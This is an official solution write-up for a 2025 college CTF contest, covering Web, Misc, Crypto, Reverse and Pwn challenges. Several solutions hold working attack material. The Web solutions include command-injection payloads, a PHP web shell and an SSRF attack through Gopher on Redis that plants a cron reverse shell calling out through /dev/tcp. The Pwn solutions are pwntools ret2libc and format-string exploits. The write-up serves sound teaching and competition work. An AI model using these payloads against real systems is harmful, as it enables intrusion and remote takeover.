2025 年院赛官方题解
Web
来扫雷吧
打开题目,查看按F12来Mclear.js源码,在末尾发现可以(也可以做出来都会给出)


双雄的饥饿战争
Get 传入:jihui=Bread
Post 传入:need1=milk&need2=Noodles

你最喜欢的 RCE 来啦
首先代码审计看到无回显的标志性函数 shell_exec
,这意味着我们执行基本命令是没有回显的。
我们可以使用 tee
命令:tee
命令的作用就是读取标准输入内容,将读取到的数据写到标准输出。
把根目录下查看到的内容读入 ab.txt
所以我们第一条 payload 为 cai=l\s / | tee ab.txt
然后在访问 ab.txt 参看读取内容。

再把想要读取的内容写到 abc.txt 里就可以了,cai=ca\t /fff\fllag | tee abc.txt
访问 abc.txt 即可。

upload
上传一个 php 文件出现

上传一个 jpg 出现

说明一句话木马被过滤了一些
这里禁用了 eval
,所以上传的文件内容要绕过 eval
即可。<? @system($_POST["cc"]); ?>

之后就找 flag 就行

神秘派对
开题说让输入 url,随便输一个网址看看,成功访问到了

测试别的协议,file:///etc/passwd

成功读到文件,但是不知道 flag 的位置,并且显示的字数也有限。尝试 dict 探测一下 6379 发现存活。dict://127.0.0.1:6379

注意到是未认证,猜测要爆破密码。dict://127.0.0.1:6379/auth:1
,bp 爆破 auth:1
这里的 1 位置。

得到密码为 root123
,配合 Gopher 协议打 redis 注意写密码就行。
import urllib.parse
protocol = "gopher://"
ip = "127.0.0.1"
port = "6379"
shell = "\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/ip/port 0>&1\n\n\n\n"
filename = "root"
path = "/var/spool/cron"
passwd = "root123"
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
# print(payload)
print(urllib.parse.quote(payload))
得到的 payload,修改监听的 ip 的 port 即可
先开启监听,nc -lvnp 2333
再发 payload

稍等一下,就收到了。在 root 里直接 cat f*
就行。

Misc
院赛签到
关注 HuhstSec 实验室公众号,然后回复 2025年信息学院网络安全比赛我来啦

之后 Base64 解码即可

你会打篮球吗?
首先解压得到一个未知文件,丢进 010 查看发现是 GIF 文件

改后缀,打开发现其中动图中有明显标记,直接动图分帧

然后一个一个拼凑。flag{d0_you_k0nw_how_to_play_basketball?}
你真的会听歌吗?
首先解压得到一个未知文件,打开 010 查看尾部,看到了 riff 发现他是一个倒序的文件

然后用工具逆一下,然后看到是一个 wav 文件,改后缀

丢进Audacity,看到中间有一段明显与其余地方不同

然后直接听,发现是摩斯,直接截取保存,然后找在线摩斯解码网站。

直接把中间的取出,flag{mouse_is_very_g00d!!!}
你真的能找到鼠鼠藏的flag吗?
在 wireshark 中使用 ftp 导出

可以得到两个图片,第一张图片为陷阱(假flag),第二张图片包含 flag
将第二张图片使用 binwalk 分离可以得到一个压缩包,压缩包内存在 1000 个带有 flag 的文本,使用 010 打开第二张图片翻到末尾可以得到一串 base64 字符串,对其进行解码得到 flag 所处的文件名

base64 解码后的内容为 The password is 371 + 242.
,从而知道在第 613 个文件是正确 flag 所处位置

你能发现黑客攻击的会话吗?
在附件中选择 http 过滤,在各种包里面可以找到一个以 sudo
开头的数据包,在数据包中存在 flag



社工 1
云南省昆明市盘龙区蓝黑路132号

社工 2
江西省赣州市章贡区赣江源大道100号

Crypto
Morse
摩斯密码解码:

拿到这串再凯撒解密:

得到 flag。替换为指定格式即可
线性同余的最后一舞
import binascii
import math
def load_cipher():
with open('text.txt') as f:
return binascii.unhexlify(f.read().strip())
def lcg_param_solver(keystream):
if len(keystream) < 3:
return None, None
k0, k1, k2 = keystream[:3]
delta = (k1 - k0) % 256
if delta == 0:
return None, None
if math.gcd(delta, 256) != 1:
return None, None
numerator = (k2 - k1) % 256
inv_delta = pow(delta, -1, 256)
a = (numerator * inv_delta) % 256
c = (k1 - a * k0) % 256
return a, c
def generate_keystream(seed, a, c, length):
keystream = []
current = seed
for _ in range(length):
keystream.append(current)
current = (a * current + c) % 256
return keystream
def main():
cipher = load_cipher()
plain_prefix = b'flag{'
if len(cipher) < 5:
print("Cipher text is too short!")
return
keystream = [cipher[i] ^ plain_prefix[i] for i in range(5)]
a, c = lcg_param_solver(keystream)
if a is None or c is None:
print("Failed to solve LCG parameters.")
return
full_keystream = generate_keystream(keystream[0], a, c, len(cipher))
plain = bytes([c ^ k for c, k in zip(cipher, full_keystream)])
print(plain.decode())
if __name__ == "__main__":
main()
Reverse
最喜欢的题目
放进 ida 进行反编译,按 shift+f12 查看字符信息即可得到 flag

Assembly Secret
#include <stdio.h>
#include <string.h>
int main() {
char key[]="h&nctf";
unsigned char data[29]={0xe,0x4a,0xf,0x4,0xf,0x22,0x58,0x79,0x17,0x53,0x1,0x39,0x59,0x4f,0x5,0x50,0x2b,0x5,0x58,0x4b,0x1e,0xa,0x45,0x26,0x1c,0x4f,0x5e,0xd,0x9};
int i;
for(i=0;i<29;i++){
printf("%c",key[i%6]^data[i]);
}
}
regame
玩游戏
APK-R*4

jadx 中找到主函数即可看到密文和密钥,直接使用 rc4 解密即可得到 flag

calculator
main 函数中设置了一些异常信号的处理函数,用于处理函数中打印 flag,所以只需要触发异常信号。
要先找到异常信号程序点

异常入口。看到输出 flag 的三种情况

当出现如下三种情况便可以调用 exit_0
函数输出 flag 情况。
我们根据其构造 1/(0) 的构造方法绕过除零检测,就可以直接输出 flag 了。

本题也可以通过直接 patch 执行异常处理函数

可以将最后输出的 printf
函数 patch 换成分析异常情况的 Hand1er
函数
就可以随便输出任何数都可以直接打印出 flag
Hand1er
的地址

将 printf
地址换成 Hand1er
即可


保存一下打开进程就可以随便输出 flag
SUB|ADD
主函数里一个简单的 check,主要逻辑在断点处

进入函数发现就是一个稍微修改后的 rc4


对 sbox
和 index
进行修改,并且注意其中的 sub_7FF678AE1389
函数并不是 swap()
了解题目逻辑后可以按代码写出脚本,也可使用动态调试在 input[i] - sbox[I]
的时候将 sbox[I]
提取出来,反向加回去数据即可得到 flag

"""
解法1
"""
def crypt(data, key):
s = [0] * 754
for i in range(256):
s[i] = i
s[i + 256] = ord(key[i % len(key)])
j = 0
for i in range(256):
j = (j + s[i + 256] % 63 + s[i]) % 256
i = 0
j = 0
k = 0
res = ""
for k in range(len(data)):
i = i + 7
j = (j + s[i]) % 256
Index = (s[i] + s[j]) % 256
# print(hex(s[Index]), end=',')
res += chr((data[k] + s[Index]) & 0xff)
return res
if __name__ == '__main__':
key = "Key_1s_0*0!"
data = bytearray(
[0x58, 0x49, 0x22, 0x05, 0xef, 0x87, 0x40, 0xff, 0xbb, 0x7a, 0x18, 0xce, 0x6b, 0xec, 0x81, 0x0f, 0x90, 0x0a,
0x76, 0xed, 0x60, 0xb4, 0x09, 0x51, 0xa3, 0xf6, 0x2e, 0x67, 0x81, 0xaa, 0xcf, 0x2d])
print(crypt(data, key))
"""
解法2
"""
enc = [14,35,63,98,140,189,245,52,122,199,27,118,216,65,177,40,166,43,183,74,228,133,45,220,146,79,19,222,176,137,105,80]
for i in range(len(enc)):
print(chr(((data[i] + enc[i]))&0xff),end='')
Pwn
小马宝莉
Nc 回答一些问题

问题 | 答案 |
---|---|
小马宝莉中小马们生活在哪里 | 小马利亚 |
小马宝莉动画片中主角是谁 | 紫悦 |
小马宝莉中橘色带帽子,苹果家族的小马是谁 | 苹果嘉儿 |
小马宝莉中柔柔的别名是什么 | 小蝶 |
小马宝莉中紫悦的表弟叫什么名字 | 穗龙 |
stack

有一个 base64 加密。对比字符是否和加密后的字符串一样。用栈知识修改 v4
通过验证。
from pwn import*
context(log_level='debug',arch='amd64', os='linux')
p=process('/home/kali/Desktop/stack' )
gdb.attach(p)
payload=b'a'*0x25+b'ZmxhZ3t0aGlzX2lzX2ZmYWtlZmxhZ30='
p.sendafter(b" hello,word!",payload)
p.interactive()
srand
from pwn import*
from ctypes import *
context(log_level='debug',arch='amd64', os='linux')
p=process('./srand' )
elf=ELF('./srand' )
libc=cdll.LoadLibrary('libc.so.6')
Libc=ELF('./libc.so.6' )
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret=0x40101a
libc.srand(libc.time(0))
libc.srand((libc.rand()% 5) - 0x2A20B9D)
p.recvuntil(b"Guess the number!")
for i in range(120):
p.sendline(str((libc.rand()%4)+1))
pause()
#gdb.attach(p)
payload=b'a'*0x28+p64(0x401343)+p64(puts_got) + p64(puts_plt) + p64(0x4011d6)
p.sendafter(b"Congratulation!",payload)
#gdb.attach(p)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
#gdb.attach(p)
print(hex(puts_addr))
base = puts_addr - Libc.sym['puts']
system = base + Libc.sym['system']
binsh = base + next(Libc.search(b'/bin/sh\x00'))
payload=b'a'*0x28+p64(0x401343)+p64(binsh)+p64(ret)+p64(system)
p.sendafter(b"Congratulation!",payload)
p.interactive()
chal
from pwn import *
from struct import pack
from ctypes import *
#from LibcSearcher import *
import base64
r = lambda : p.recv()
rl = lambda : p.recvline()
rc = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
slc = lambda: asm(shellcraft.sh())
uu64 = lambda x: u64(x.ljust(8, b'\0'))
uu32 = lambda x: u32(x.ljust(4, b'\0'))
shell = lambda : p.interactive()
pr = lambda name,x : log.info(name+':'+hex(x))
def pre():
print(p.recv())
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
context(log_level='debug',arch='amd64', os='linux')
e = ELF('chal')
if args.REMOTE:
ip, port = "be.ax", 32323
conn = lambda: remote(ip, port)
MAX_WIDTH = 1*(1<<28)
else:
conn = lambda: e.process()
MAX_WIDTH = 2*(1<<28)
libc = ELF('./libc.so.6', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
#exp
send_choice = lambda c: p.sendlineafter(b"2. call\n", str(c).encode())
def printf(fmt):
send_choice(1)
p.sendline(fmt.encode())
p.recvuntil(b"Here is a gift:")
return p.recvuntil(b"1. show", drop=True)
def call(func):
send_choice(2)
p.sendline(hex(func).encode())
while True:
p = conn()
width = abs(int(printf("%d")))
log.info(f"width: {hex(width)}")
if width <= MAX_WIDTH:
break
p.close()
l = log.progress("filling buffer")
printf("%*x")
l.success("done")
libc_leak = u64(printf("%s")[-6:] + b"\x00\x00")
log.info(f"libc leak: {hex(libc_leak)}")
libc.address = libc_leak - libc.sym._IO_2_1_stdin_
log.info(f"libc: {hex(libc.address)}")
call(libc.sym.system)
p.interactive()